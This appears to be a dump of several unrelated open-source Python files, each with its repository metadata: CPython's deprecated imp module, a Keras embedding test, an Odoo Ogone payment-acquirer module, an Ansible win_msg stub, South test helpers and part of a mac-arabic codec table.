"""This module provides the components needed to build your own __import__ function. Undocumented functions are obsolete. In most cases it is preferred you consider using the importlib module's functionality over this module. """ # (Probably) need to stay in _imp from _imp import (lock_held, acquire_lock, release_lock, get_frozen_object, is_frozen_package, init_frozen, is_builtin, is_frozen, _fix_co_filename) try: from _imp import create_dynamic except ImportError: # Platform doesn't support dynamic loading. create_dynamic = None from importlib._bootstrap import _ERR_MSG, _exec, _load, _builtin_from_name from importlib._bootstrap_external import SourcelessFileLoader from importlib import machinery from importlib import util import importlib import os import sys import tokenize import types import warnings warnings.warn("the imp module is deprecated in favour of importlib; " "see the module's documentation for alternative uses", PendingDeprecationWarning, stacklevel=2) # DEPRECATED SEARCH_ERROR = 0 PY_SOURCE = 1 PY_COMPILED = 2 C_EXTENSION = 3 PY_RESOURCE = 4 PKG_DIRECTORY = 5 C_BUILTIN = 6 PY_FROZEN = 7 PY_CODERESOURCE = 8 IMP_HOOK = 9 def new_module(name): """**DEPRECATED** Create a new module. The module is not entered into sys.modules. """ return types.ModuleType(name) def get_magic(): """**DEPRECATED** Return the magic number for .pyc files. """ return util.MAGIC_NUMBER def get_tag(): """Return the magic tag for .pyc files.""" return sys.implementation.cache_tag def cache_from_source(path, debug_override=None): """**DEPRECATED** Given the path to a .py file, return the path to its .pyc file. The .py file does not need to exist; this simply returns the path to the .pyc file calculated as if the .py file were imported. If debug_override is not None, then it must be a boolean and is used in place of sys.flags.optimize. If sys.implementation.cache_tag is None then NotImplementedError is raised. """ with warnings.catch_warnings(): warnings.simplefilter('ignore') return util.cache_from_source(path, debug_override) def source_from_cache(path): """**DEPRECATED** Given the path to a .pyc. file, return the path to its .py file. The .pyc file does not need to exist; this simply returns the path to the .py file calculated to correspond to the .pyc file. If path does not conform to PEP 3147 format, ValueError will be raised. If sys.implementation.cache_tag is None then NotImplementedError is raised. """ return util.source_from_cache(path) def get_suffixes(): """**DEPRECATED**""" extensions = [(s, 'rb', C_EXTENSION) for s in machinery.EXTENSION_SUFFIXES] source = [(s, 'r', PY_SOURCE) for s in machinery.SOURCE_SUFFIXES] bytecode = [(s, 'rb', PY_COMPILED) for s in machinery.BYTECODE_SUFFIXES] return extensions + source + bytecode class NullImporter: """**DEPRECATED** Null import object. """ def __init__(self, path): if path == '': raise ImportError('empty pathname', path='') elif os.path.isdir(path): raise ImportError('existing directory', path=path) def find_module(self, fullname): """Always returns None.""" return None class _HackedGetData: """Compatibility support for 'file' arguments of various load_*() functions.""" def __init__(self, fullname, path, file=None): super().__init__(fullname, path) self.file = file def get_data(self, path): """Gross hack to contort loader to deal w/ load_*()'s bad API.""" if self.file and path == self.path: if not self.file.closed: file = self.file else: self.file = file = open(self.path, 'r') with file: # Technically should be returning bytes, but # SourceLoader.get_code() just passed what is returned to # compile() which can handle str. And converting to bytes would # require figuring out the encoding to decode to and # tokenize.detect_encoding() only accepts bytes. return file.read() else: return super().get_data(path) class _LoadSourceCompatibility(_HackedGetData, machinery.SourceFileLoader): """Compatibility support for implementing load_source().""" def load_source(name, pathname, file=None): loader = _LoadSourceCompatibility(name, pathname, file) spec = util.spec_from_file_location(name, pathname, loader=loader) if name in sys.modules: module = _exec(spec, sys.modules[name]) else: module = _load(spec) # To allow reloading to potentially work, use a non-hacked loader which # won't rely on a now-closed file object. module.__loader__ = machinery.SourceFileLoader(name, pathname) module.__spec__.loader = module.__loader__ return module class _LoadCompiledCompatibility(_HackedGetData, SourcelessFileLoader): """Compatibility support for implementing load_compiled().""" def load_compiled(name, pathname, file=None): """**DEPRECATED**""" loader = _LoadCompiledCompatibility(name, pathname, file) spec = util.spec_from_file_location(name, pathname, loader=loader) if name in sys.modules: module = _exec(spec, sys.modules[name]) else: module = _load(spec) # To allow reloading to potentially work, use a non-hacked loader which # won't rely on a now-closed file object. module.__loader__ = SourcelessFileLoader(name, pathname) module.__spec__.loader = module.__loader__ return module def load_package(name, path): """**DEPRECATED**""" if os.path.isdir(path): extensions = (machinery.SOURCE_SUFFIXES[:] + machinery.BYTECODE_SUFFIXES[:]) for extension in extensions: path = os.path.join(path, '__init__'+extension) if os.path.exists(path): break else: raise ValueError('{!r} is not a package'.format(path)) spec = util.spec_from_file_location(name, path, submodule_search_locations=[]) if name in sys.modules: return _exec(spec, sys.modules[name]) else: return _load(spec) def load_module(name, file, filename, details): """**DEPRECATED** Load a module, given information returned by find_module(). The module name must include the full package name, if any. """ suffix, mode, type_ = details if mode and (not mode.startswith(('r', 'U')) or '+' in mode): raise ValueError('invalid file open mode {!r}'.format(mode)) elif file is None and type_ in {PY_SOURCE, PY_COMPILED}: msg = 'file object required for import (type code {})'.format(type_) raise ValueError(msg) elif type_ == PY_SOURCE: return load_source(name, filename, file) elif type_ == PY_COMPILED: return load_compiled(name, filename, file) elif type_ == C_EXTENSION and load_dynamic is not None: if file is None: with open(filename, 'rb') as opened_file: return load_dynamic(name, filename, opened_file) else: return load_dynamic(name, filename, file) elif type_ == PKG_DIRECTORY: return load_package(name, filename) elif type_ == C_BUILTIN: return init_builtin(name) elif type_ == PY_FROZEN: return init_frozen(name) else: msg = "Don't know how to import {} (type code {})".format(name, type_) raise ImportError(msg, name=name) def find_module(name, path=None): """**DEPRECATED** Search for a module. If path is omitted or None, search for a built-in, frozen or special module and continue search in sys.path. The module name cannot contain '.'; to search for a submodule of a package, pass the submodule name and the package's __path__. """ if not isinstance(name, str): raise TypeError("'name' must be a str, not {}".format(type(name))) elif not isinstance(path, (type(None), list)): # Backwards-compatibility raise RuntimeError("'list' must be None or a list, " "not {}".format(type(name))) if path is None: if is_builtin(name): return None, None, ('', '', C_BUILTIN) elif is_frozen(name): return None, None, ('', '', PY_FROZEN) else: path = sys.path for entry in path: package_directory = os.path.join(entry, name) for suffix in ['.py', machinery.BYTECODE_SUFFIXES[0]]: package_file_name = '__init__' + suffix file_path = os.path.join(package_directory, package_file_name) if os.path.isfile(file_path): return None, package_directory, ('', '', PKG_DIRECTORY) for suffix, mode, type_ in get_suffixes(): file_name = name + suffix file_path = os.path.join(entry, file_name) if os.path.isfile(file_path): break else: continue break # Break out of outer loop when breaking out of inner loop. else: raise ImportError(_ERR_MSG.format(name), name=name) encoding = None if 'b' not in mode: with open(file_path, 'rb') as file: encoding = tokenize.detect_encoding(file.readline)[0] file = open(file_path, mode, encoding=encoding) return file, file_path, (suffix, mode, type_) def reload(module): """**DEPRECATED** Reload the module and return it. The module must have been successfully imported before. """ return importlib.reload(module) def init_builtin(name): """**DEPRECATED** Load and return a built-in module by name, or None is such module doesn't exist """ try: return _builtin_from_name(name) except ImportError: return None if create_dynamic: def load_dynamic(name, path, file=None): """**DEPRECATED** Load an extension module. """ import importlib.machinery loader = importlib.machinery.ExtensionFileLoader(name, path) # Issue #24748: Skip the sys.modules check in _load_module_shim; # always load new extension spec = importlib.machinery.ModuleSpec( name=name, loader=loader, origin=path) return _load(spec) else: load_dynamic = None
Microvellum/Fluid-Designer
win64-vc/2.78/python/lib/imp.py
Python
gpl-3.0
10,631
# Copyright 2016 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Tests for embedding layers.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function from tensorflow.python.keras._impl import keras from tensorflow.python.keras._impl.keras import testing_utils from tensorflow.python.platform import test class EmbeddingTest(test.TestCase): def test_embedding(self): with self.test_session(): testing_utils.layer_test( keras.layers.Embedding, kwargs={'output_dim': 4, 'input_dim': 10, 'input_length': 2}, input_shape=(3, 2), input_dtype='int32', expected_output_dtype='float32') with self.test_session(): testing_utils.layer_test( keras.layers.Embedding, kwargs={'output_dim': 4, 'input_dim': 10, 'mask_zero': True}, input_shape=(3, 2), input_dtype='int32', expected_output_dtype='float32') with self.test_session(): testing_utils.layer_test( keras.layers.Embedding, kwargs={'output_dim': 4, 'input_dim': 10, 'mask_zero': True}, input_shape=(3, 4, 2), input_dtype='int32', expected_output_dtype='float32') with self.test_session(): testing_utils.layer_test( keras.layers.Embedding, kwargs={'output_dim': 4, 'input_dim': 10, 'mask_zero': True, 'input_length': (None, 2)}, input_shape=(3, 4, 2), input_dtype='int32', expected_output_dtype='float32') if __name__ == '__main__': test.main()
hsaputra/tensorflow
tensorflow/python/keras/_impl/keras/layers/embeddings_test.py
Python
apache-2.0
2,384
name1_1_1_0_0_1_0 = None name1_1_1_0_0_1_1 = None name1_1_1_0_0_1_2 = None name1_1_1_0_0_1_3 = None name1_1_1_0_0_1_4 = None
asedunov/intellij-community
python/testData/completion/heavyStarPropagation/lib/_pkg1/_pkg1_1/_pkg1_1_1/_pkg1_1_1_0/_pkg1_1_1_0_0/_mod1_1_1_0_0_1.py
Python
apache-2.0
128
# -*- coding: utf-'8' "-*-" from hashlib import sha1 import logging from lxml import etree, objectify from pprint import pformat import time from urllib import urlencode import urllib2 import urlparse from openerp.addons.payment.models.payment_acquirer import ValidationError from openerp.addons.payment_ogone.controllers.main import OgoneController from openerp.addons.payment_ogone.data import ogone from openerp.osv import osv, fields from openerp.tools import float_round from openerp.tools.float_utils import float_compare _logger = logging.getLogger(__name__) class PaymentAcquirerOgone(osv.Model): _inherit = 'payment.acquirer' def _get_ogone_urls(self, cr, uid, environment, context=None): """ Ogone URLS: - standard order: POST address for form-based @TDETODO: complete me """ return { 'ogone_standard_order_url': 'https://secure.ogone.com/ncol/%s/orderstandard_utf8.asp' % (environment,), 'ogone_direct_order_url': 'https://secure.ogone.com/ncol/%s/orderdirect_utf8.asp' % (environment,), 'ogone_direct_query_url': 'https://secure.ogone.com/ncol/%s/querydirect_utf8.asp' % (environment,), 'ogone_afu_agree_url': 'https://secure.ogone.com/ncol/%s/AFU_agree.asp' % (environment,), } def _get_providers(self, cr, uid, context=None): providers = super(PaymentAcquirerOgone, self)._get_providers(cr, uid, context=context) providers.append(['ogone', 'Ogone']) return providers _columns = { 'ogone_pspid': fields.char('PSPID', required_if_provider='ogone'), 'ogone_userid': fields.char('API User ID', required_if_provider='ogone'), 'ogone_password': fields.char('API User Password', required_if_provider='ogone'), 'ogone_shakey_in': fields.char('SHA Key IN', size=32, required_if_provider='ogone'), 'ogone_shakey_out': fields.char('SHA Key OUT', size=32, required_if_provider='ogone'), } def _ogone_generate_shasign(self, acquirer, inout, values): """ Generate the shasign for incoming or outgoing communications. :param browse acquirer: the payment.acquirer browse record. It should have a shakey in shaky out :param string inout: 'in' (openerp contacting ogone) or 'out' (ogone contacting openerp). In this last case only some fields should be contained (see e-Commerce basic) :param dict values: transaction values :return string: shasign """ assert inout in ('in', 'out') assert acquirer.provider == 'ogone' key = getattr(acquirer, 'ogone_shakey_' + inout) def filter_key(key): if inout == 'in': return True else: # SHA-OUT keys # source https://viveum.v-psp.com/Ncol/Viveum_e-Com-BAS_EN.pdf keys = [ 'AAVADDRESS', 'AAVCHECK', 'AAVMAIL', 'AAVNAME', 'AAVPHONE', 'AAVZIP', 'ACCEPTANCE', 'ALIAS', 'AMOUNT', 'BIC', 'BIN', 'BRAND', 'CARDNO', 'CCCTY', 'CN', 'COMPLUS', 'CREATION_STATUS', 'CURRENCY', 'CVCCHECK', 'DCC_COMMPERCENTAGE', 'DCC_CONVAMOUNT', 'DCC_CONVCCY', 'DCC_EXCHRATE', 'DCC_EXCHRATESOURCE', 'DCC_EXCHRATETS', 'DCC_INDICATOR', 'DCC_MARGINPERCENTAGE', 'DCC_VALIDHOURS', 'DIGESTCARDNO', 'ECI', 'ED', 'ENCCARDNO', 'FXAMOUNT', 'FXCURRENCY', 'IBAN', 'IP', 'IPCTY', 'NBREMAILUSAGE', 'NBRIPUSAGE', 'NBRIPUSAGE_ALLTX', 'NBRUSAGE', 'NCERROR', 'NCERRORCARDNO', 'NCERRORCN', 'NCERRORCVC', 'NCERRORED', 'ORDERID', 'PAYID', 'PM', 'SCO_CATEGORY', 'SCORING', 'STATUS', 'SUBBRAND', 'SUBSCRIPTION_ID', 'TRXDATE', 'VC' ] return key.upper() in keys items = sorted((k.upper(), v) for k, v in values.items()) sign = ''.join('%s=%s%s' % (k, v, key) for k, v in items if v and filter_key(k)) sign = sign.encode("utf-8") shasign = sha1(sign).hexdigest() return shasign def ogone_form_generate_values(self, cr, uid, id, partner_values, tx_values, context=None): base_url = self.pool['ir.config_parameter'].get_param(cr, uid, 'web.base.url') acquirer = self.browse(cr, uid, id, context=context) ogone_tx_values = dict(tx_values) temp_ogone_tx_values = { 'PSPID': acquirer.ogone_pspid, 'ORDERID': tx_values['reference'], 'AMOUNT': '%d' % int(float_round(tx_values['amount'], 2) * 100), 'CURRENCY': tx_values['currency'] and tx_values['currency'].name or '', 'LANGUAGE': partner_values['lang'], 'CN': partner_values['name'], 'EMAIL': partner_values['email'], 'OWNERZIP': partner_values['zip'], 'OWNERADDRESS': partner_values['address'], 'OWNERTOWN': partner_values['city'], 'OWNERCTY': partner_values['country'] and partner_values['country'].name or '', 'OWNERTELNO': partner_values['phone'], 'ACCEPTURL': '%s' % urlparse.urljoin(base_url, OgoneController._accept_url), 'DECLINEURL': '%s' % urlparse.urljoin(base_url, OgoneController._decline_url), 'EXCEPTIONURL': '%s' % urlparse.urljoin(base_url, OgoneController._exception_url), 'CANCELURL': '%s' % urlparse.urljoin(base_url, OgoneController._cancel_url), } if ogone_tx_values.get('return_url'): temp_ogone_tx_values['PARAMPLUS'] = 'return_url=%s' % ogone_tx_values.pop('return_url') shasign = self._ogone_generate_shasign(acquirer, 'in', temp_ogone_tx_values) temp_ogone_tx_values['SHASIGN'] = shasign ogone_tx_values.update(temp_ogone_tx_values) return partner_values, ogone_tx_values def ogone_get_form_action_url(self, cr, uid, id, context=None): acquirer = self.browse(cr, uid, id, context=context) return self._get_ogone_urls(cr, uid, acquirer.environment, context=context)['ogone_standard_order_url'] class PaymentTxOgone(osv.Model): _inherit = 'payment.transaction' # ogone status _ogone_valid_tx_status = [5, 9] _ogone_wait_tx_status = [41, 50, 51, 52, 55, 56, 91, 92, 99] _ogone_pending_tx_status = [46] # 3DS HTML response _ogone_cancel_tx_status = [1] _columns = { 'ogone_3ds': fields.boolean('3DS Activated'), 'ogone_3ds_html': fields.html('3DS HTML'), 'ogone_complus': fields.char('Complus'), 'ogone_payid': fields.char('PayID', help='Payment ID, generated by Ogone') } # -------------------------------------------------- # FORM RELATED METHODS # -------------------------------------------------- def _ogone_form_get_tx_from_data(self, cr, uid, data, context=None): """ Given a data dict coming from ogone, verify it and find the related transaction record. """ reference, pay_id, shasign = data.get('orderID'), data.get('PAYID'), data.get('SHASIGN') if not reference or not pay_id or not shasign: error_msg = 'Ogone: received data with missing reference (%s) or pay_id (%s) or shashign (%s)' % (reference, pay_id, shasign) _logger.error(error_msg) raise ValidationError(error_msg) # find tx -> @TDENOTE use paytid ? tx_ids = self.search(cr, uid, [('reference', '=', reference)], context=context) if not tx_ids or len(tx_ids) > 1: error_msg = 'Ogone: received data for reference %s' % (reference) if not tx_ids: error_msg += '; no order found' else: error_msg += '; multiple order found' _logger.error(error_msg) raise ValidationError(error_msg) tx = self.pool['payment.transaction'].browse(cr, uid, tx_ids[0], context=context) # verify shasign shasign_check = self.pool['payment.acquirer']._ogone_generate_shasign(tx.acquirer_id, 'out', data) if shasign_check.upper() != shasign.upper(): error_msg = 'Ogone: invalid shasign, received %s, computed %s, for data %s' % (shasign, shasign_check, data) _logger.error(error_msg) raise ValidationError(error_msg) return tx def _ogone_form_get_invalid_parameters(self, cr, uid, tx, data, context=None): invalid_parameters = [] # TODO: txn_id: should be false at draft, set afterwards, and verified with txn details if tx.acquirer_reference and data.get('PAYID') != tx.acquirer_reference: invalid_parameters.append(('PAYID', data.get('PAYID'), tx.acquirer_reference)) # check what is bought if float_compare(float(data.get('amount', '0.0')), tx.amount, 2) != 0: invalid_parameters.append(('amount', data.get('amount'), '%.2f' % tx.amount)) if data.get('currency') != tx.currency_id.name: invalid_parameters.append(('currency', data.get('currency'), tx.currency_id.name)) return invalid_parameters def _ogone_form_validate(self, cr, uid, tx, data, context=None): if tx.state == 'done': _logger.warning('Ogone: trying to validate an already validated tx (ref %s)' % tx.reference) return True status = int(data.get('STATUS', '0')) if status in self._ogone_valid_tx_status: tx.write({ 'state': 'done', 'date_validate': data['TRXDATE'], 'acquirer_reference': data['PAYID'], }) return True elif status in self._ogone_cancel_tx_status: tx.write({ 'state': 'cancel', 'acquirer_reference': data.get('PAYID'), }) elif status in self._ogone_pending_tx_status: tx.write({ 'state': 'pending', 'acquirer_reference': data.get('PAYID'), }) else: error = 'Ogone: feedback error: %(error_str)s\n\n%(error_code)s: %(error_msg)s' % { 'error_str': data.get('NCERROR'), 'error_code': data.get('NCERRORPLUS'), 'error_msg': ogone.OGONE_ERROR_MAP.get(data.get('NCERRORPLUS')), } _logger.info(error) tx.write({ 'state': 'error', 'state_message': error, 'acquirer_reference': data.get('PAYID'), }) return False # -------------------------------------------------- # S2S RELATED METHODS # -------------------------------------------------- def ogone_s2s_create_alias(self, cr, uid, id, values, context=None): """ Create an alias at Ogone via batch. .. versionadded:: pre-v8 saas-3 .. warning:: Experimental code. You should not use it before OpenERP v8 official release. """ tx = self.browse(cr, uid, id, context=context) assert tx.type == 'server2server', 'Calling s2s dedicated method for a %s acquirer' % tx.type alias = 'OPENERP-%d-%d' % (tx.partner_id.id, tx.id) expiry_date = '%s%s' % (values['expiry_date_mm'], values['expiry_date_yy'][2:]) line = 'ADDALIAS;%(alias)s;%(holder_name)s;%(number)s;%(expiry_date)s;%(brand)s;%(pspid)s' line = line % dict(values, alias=alias, expiry_date=expiry_date, pspid=tx.acquirer_id.ogone_pspid) tx_data = { 'FILE_REFERENCE': 'OPENERP-NEW-ALIAS-%s' % time.time(), # something unique, 'TRANSACTION_CODE': 'ATR', 'OPERATION': 'SAL', 'NB_PAYMENTS': 1, # even if we do not actually have any payment, ogone want it to not be 0 'FILE': line, 'REPLY_TYPE': 'XML', 'PSPID': tx.acquirer_id.ogone_pspid, 'USERID': tx.acquirer_id.ogone_userid, 'PSWD': tx.acquirer_id.ogone_password, 'PROCESS_MODE': 'CHECKANDPROCESS', } # TODO: fix URL computation request = urllib2.Request(tx.acquirer_id.ogone_afu_agree_url, urlencode(tx_data)) result = urllib2.urlopen(request).read() try: tree = objectify.fromstring(result) except etree.XMLSyntaxError: _logger.exception('Invalid xml response from ogone') return None error_code = error_str = None if hasattr(tree, 'PARAMS_ERROR'): error_code = tree.NCERROR.text error_str = 'PARAMS ERROR: %s' % (tree.PARAMS_ERROR.text or '',) else: node = tree.FORMAT_CHECK error_node = getattr(node, 'FORMAT_CHECK_ERROR', None) if error_node is not None: error_code = error_node.NCERROR.text error_str = 'CHECK ERROR: %s' % (error_node.ERROR.text or '',) if error_code: error_msg = ogone.OGONE_ERROR_MAP.get(error_code) error = '%s\n\n%s: %s' % (error_str, error_code, error_msg) _logger.error(error) raise Exception(error) # TODO specific exception tx.write({'partner_reference': alias}) return True def ogone_s2s_generate_values(self, cr, uid, id, custom_values, context=None): """ Generate valid Ogone values for a s2s tx. .. versionadded:: pre-v8 saas-3 .. warning:: Experimental code. You should not use it before OpenERP v8 official release. """ tx = self.browse(cr, uid, id, context=context) tx_data = { 'PSPID': tx.acquirer_id.ogone_pspid, 'USERID': tx.acquirer_id.ogone_userid, 'PSWD': tx.acquirer_id.ogone_password, 'OrderID': tx.reference, 'amount': '%d' % int(float_round(tx.amount, 2) * 100), # tde check amount or str * 100 ? 'CURRENCY': tx.currency_id.name, 'LANGUAGE': tx.partner_lang, 'OPERATION': 'SAL', 'ECI': 2, # Recurring (from MOTO) 'ALIAS': tx.partner_reference, 'RTIMEOUT': 30, } if custom_values.get('ogone_cvc'): tx_data['CVC'] = custom_values.get('ogone_cvc') if custom_values.pop('ogone_3ds', None): tx_data.update({ 'FLAG3D': 'Y', # YEAH!! }) if custom_values.get('ogone_complus'): tx_data['COMPLUS'] = custom_values.get('ogone_complus') if custom_values.get('ogone_accept_url'): pass shasign = self.pool['payment.acquirer']._ogone_generate_shasign(tx.acquirer_id, 'in', tx_data) tx_data['SHASIGN'] = shasign return tx_data def ogone_s2s_feedback(self, cr, uid, data, context=None): """ .. versionadded:: pre-v8 saas-3 .. warning:: Experimental code. You should not use it before OpenERP v8 official release. """ pass def ogone_s2s_execute(self, cr, uid, id, values, context=None): """ .. versionadded:: pre-v8 saas-3 .. warning:: Experimental code. You should not use it before OpenERP v8 official release. """ tx = self.browse(cr, uid, id, context=context) tx_data = self.ogone_s2s_generate_values(cr, uid, id, values, context=context) _logger.info('Generated Ogone s2s data %s', pformat(tx_data)) # debug request = urllib2.Request(tx.acquirer_id.ogone_direct_order_url, urlencode(tx_data)) result = urllib2.urlopen(request).read() _logger.info('Contacted Ogone direct order; result %s', result) # debug tree = objectify.fromstring(result) payid = tree.get('PAYID') query_direct_data = dict( PSPID=tx.acquirer_id.ogone_pspid, USERID=tx.acquirer_id.ogone_userid, PSWD=tx.acquirer_id.ogone_password, ID=payid, ) query_direct_url = 'https://secure.ogone.com/ncol/%s/querydirect.asp' % (tx.acquirer_id.environment,) tries = 2 tx_done = False tx_status = False while not tx_done or tries > 0: try: tree = objectify.fromstring(result) except etree.XMLSyntaxError: # invalid response from ogone _logger.exception('Invalid xml response from ogone') raise # see https://secure.ogone.com/ncol/paymentinfos1.asp VALID_TX = [5, 9] WAIT_TX = [41, 50, 51, 52, 55, 56, 91, 92, 99] PENDING_TX = [46] # 3DS HTML response # other status are errors... status = tree.get('STATUS') if status == '': status = None else: status = int(status) if status in VALID_TX: tx_status = True tx_done = True elif status in PENDING_TX: html = str(tree.HTML_ANSWER) tx_data.update(ogone_3ds_html=html.decode('base64')) tx_status = False tx_done = True elif status in WAIT_TX: time.sleep(1500) request = urllib2.Request(query_direct_url, urlencode(query_direct_data)) result = urllib2.urlopen(request).read() _logger.debug('Contacted Ogone query direct; result %s', result) else: error_code = tree.get('NCERROR') if not ogone.retryable(error_code): error_str = tree.get('NCERRORPLUS') error_msg = ogone.OGONE_ERROR_MAP.get(error_code) error = 'ERROR: %s\n\n%s: %s' % (error_str, error_code, error_msg) _logger.info(error) raise Exception(error) tries = tries - 1 if not tx_done and tries == 0: raise Exception('Cannot get transaction status...') return tx_status
mycodeday/crm-platform
payment_ogone/models/ogone.py
Python
gpl-3.0
19,078
#!/usr/bin/python # -*- coding: utf-8 -*- # (c) 2017, Jon Hawkesworth (@jhawkesworth) <figs@unity.demon.co.uk> # # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Ansible. If not, see <http://www.gnu.org/licenses/>. # this is a windows documentation stub. actual code lives in the .ps1 # file of the same name ANSIBLE_METADATA = {'metadata_version': '1.1', 'status': ['preview'], 'supported_by': 'community'} DOCUMENTATION = r''' --- module: win_msg version_added: "2.3" short_description: Sends a message to logged in users on Windows hosts. description: - Wraps the msg.exe command in order to send messages to Windows hosts. options: to: description: - Who to send the message to. Can be a username, sessionname or sessionid. default: '*' display_seconds: description: - How long to wait for receiver to acknowledge message, in seconds. default: 10 wait: description: - Whether to wait for users to respond. Module will only wait for the number of seconds specified in display_seconds or 10 seconds if not specified. However, if I(wait) is true, the message is sent to each logged on user in turn, waiting for the user to either press 'ok' or for the timeout to elapse before moving on to the next user. type: bool default: 'no' msg: description: - The text of the message to be displayed. - The message must be less than 256 characters. default: Hello world! author: - Jon Hawkesworth (@jhawkesworth) notes: - This module must run on a windows host, so ensure your play targets windows hosts, or delegates to a windows host. - Messages are only sent to the local host where the module is run. - The module does not support sending to users listed in a file. - Setting wait to true can result in long run times on systems with many logged in users. ''' EXAMPLES = r''' - name: Warn logged in users of impending upgrade win_msg: display_seconds: 60 msg: Automated upgrade about to start. Please save your work and log off before {{ deployment_start_time }} ''' RETURN = r''' msg: description: Test of the message that was sent. returned: changed type: string sample: Automated upgrade about to start. Please save your work and log off before 22 July 2016 18:00:00 display_seconds: description: Value of display_seconds module parameter. returned: success type: string sample: 10 rc: description: The return code of the API call returned: always type: int sample: 0 runtime_seconds: description: How long the module took to run on the remote windows host. returned: success type: string sample: 22 July 2016 17:45:51 sent_localtime: description: local time from windows host when the message was sent. returned: success type: string sample: 22 July 2016 17:45:51 wait: description: Value of wait module parameter. returned: success type: boolean sample: false '''
e-gob/plataforma-kioscos-autoatencion
scripts/ansible-play/.venv/lib/python2.7/site-packages/ansible/modules/windows/win_msg.py
Python
bsd-3-clause
3,581
# This module definitely remains in 1.0.x, probably in versions after that too. import warnings warnings.warn('gevent.coros has been renamed to gevent.lock', DeprecationWarning, stacklevel=2) from gevent.lock import * from gevent.lock import __all__
matthappens/taskqueue
taskqueue/venv_tq/lib/python2.7/site-packages/gevent/coros.py
Python
mit
251
from __future__ import print_function #import unittest import os import sys from functools import wraps from django.conf import settings from south.hacks import hacks # Make sure skipping tests is available. try: # easiest and best is unittest included in Django>=1.3 from django.utils import unittest except ImportError: # earlier django... use unittest from stdlib import unittest # however, skipUnless was only added in Python 2.7; # if not available, we need to do something else try: skipUnless = unittest.skipUnless #@UnusedVariable except AttributeError: def skipUnless(condition, message): def decorator(testfunc): @wraps(testfunc) def wrapper(self): if condition: # Apply method testfunc(self) else: # The skip exceptions are not available either... print("Skipping", testfunc.__name__,"--", message) return wrapper return decorator # ditto for skipIf try: skipIf = unittest.skipIf #@UnusedVariable except AttributeError: def skipIf(condition, message): def decorator(testfunc): @wraps(testfunc) def wrapper(self): if condition: print("Skipping", testfunc.__name__,"--", message) else: # Apply method testfunc(self) return wrapper return decorator # Add the tests directory so fakeapp is on sys.path test_root = os.path.dirname(__file__) sys.path.append(test_root) # Note: the individual test files are imported below this. class Monkeypatcher(unittest.TestCase): """ Base test class for tests that play with the INSTALLED_APPS setting at runtime. """ def create_fake_app(self, name): class Fake: pass fake = Fake() fake.__name__ = name try: fake.migrations = __import__(name + ".migrations", {}, {}, ['migrations']) except ImportError: pass return fake def setUp(self): """ Changes the Django environment so we can run tests against our test apps. """ if hasattr(self, 'installed_apps'): hacks.store_app_cache_state() hacks.set_installed_apps(self.installed_apps) # Make sure dependencies are calculated for new apps Migrations._dependencies_done = False def tearDown(self): """ Undoes what setUp did. """ if hasattr(self, 'installed_apps'): hacks.reset_installed_apps() hacks.restore_app_cache_state() # Try importing all tests if asked for (then we can run 'em) try: skiptest = settings.SKIP_SOUTH_TESTS except: skiptest = True if not skiptest: from south.tests.db import * from south.tests.db_mysql import * from south.tests.logic import * from south.tests.autodetection import * from south.tests.logger import * from south.tests.inspector import * from south.tests.freezer import *
esplinr/foodcheck
wsgi/foodcheck_proj/south/tests/__init__.py
Python
agpl-3.0
3,147
""" Python Character Mapping Codec generated from 'VENDORS/APPLE/ARABIC.TXT' with gencodec.py. """#" import codecs ### Codec APIs class Codec(codecs.Codec): def encode(self,input,errors='strict'): return codecs.charmap_encode(input,errors,encoding_map) def decode(self,input,errors='strict'): return codecs.charmap_decode(input,errors,decoding_table) class IncrementalEncoder(codecs.IncrementalEncoder): def encode(self, input, final=False): return codecs.charmap_encode(input,self.errors,encoding_map)[0] class IncrementalDecoder(codecs.IncrementalDecoder): def decode(self, input, final=False): return codecs.charmap_decode(input,self.errors,decoding_table)[0] class StreamWriter(Codec,codecs.StreamWriter): pass class StreamReader(Codec,codecs.StreamReader): pass ### encodings module API def getregentry(): return codecs.CodecInfo( name='mac-arabic', encode=Codec().encode, decode=Codec().decode, incrementalencoder=IncrementalEncoder, incrementaldecoder=IncrementalDecoder, streamreader=StreamReader, streamwriter=StreamWriter, ) ### Decoding Map decoding_map = codecs.make_identity_dict(range(256)) decoding_map.update({ 0x0080: 0x00c4, # LATIN CAPITAL LETTER A WITH DIAERESIS 0x0081: 0x00a0, # NO-BREAK SPACE, right-left 0x0082: 0x00c7, # LATIN CAPITAL LETTER C WITH CEDILLA 0x0083: 0x00c9, # LATIN CAPITAL LETTER E WITH ACUTE 0x0084: 0x00d1, # LATIN CAPITAL LETTER N WITH TILDE 0x0085: 0x00d6, # LATIN CAPITAL LETTER O WITH DIAERESIS 0x0086: 0x00dc, # LATIN CAPITAL LETTER U WITH DIAERESIS 0x0087: 0x00e1, # LATIN SMALL LETTER A WITH ACUTE 0x0088: 0x00e0, # LATIN SMALL LETTER A WITH GRAVE 0x0089: 0x00e2, # LATIN SMALL LETTER A WITH CIRCUMFLEX 0x008a: 0x00e4, # LATIN SMALL LETTER A WITH DIAERESIS 0x008b: 0x06ba, # ARABIC LETTER NOON GHUNNA 0x008c: 0x00ab, # LEFT-POINTING DOUBLE ANGLE QUOTATION MARK, right-left 0x008d: 0x00e7, # LATIN SMALL LETTER C WITH CEDILLA 0x008e: 0x00e9, # LATIN SMALL LETTER E WITH ACUTE 0x008f: 0x00e8, # LATIN SMALL LETTER E WITH GRAVE 0x0090: 0x00ea, # LATIN SMALL LETTER E WITH CIRCUMFLEX 0x0091: 0x00eb, # LATIN SMALL LETTER E WITH DIAERESIS 0x0092: 0x00ed, # LATIN SMALL LETTER I WITH ACUTE 0x0093: 0x2026, # HORIZONTAL ELLIPSIS, right-left 0x0094: 0x00ee, # LATIN SMALL LETTER I WITH CIRCUMFLEX 0x0095: 0x00ef, # LATIN SMALL LETTER I 